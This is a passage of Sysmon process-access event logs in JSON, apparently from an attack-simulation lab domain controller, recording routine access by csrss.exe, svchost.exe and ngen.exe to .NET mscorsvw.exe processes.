C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E1C0C00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E1C0C00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E1C0C00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010FB780C00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010FB780C00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010FB780C00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010FB780C00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010FB780C00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010FB780C00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.291\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.291","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010B22D0C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 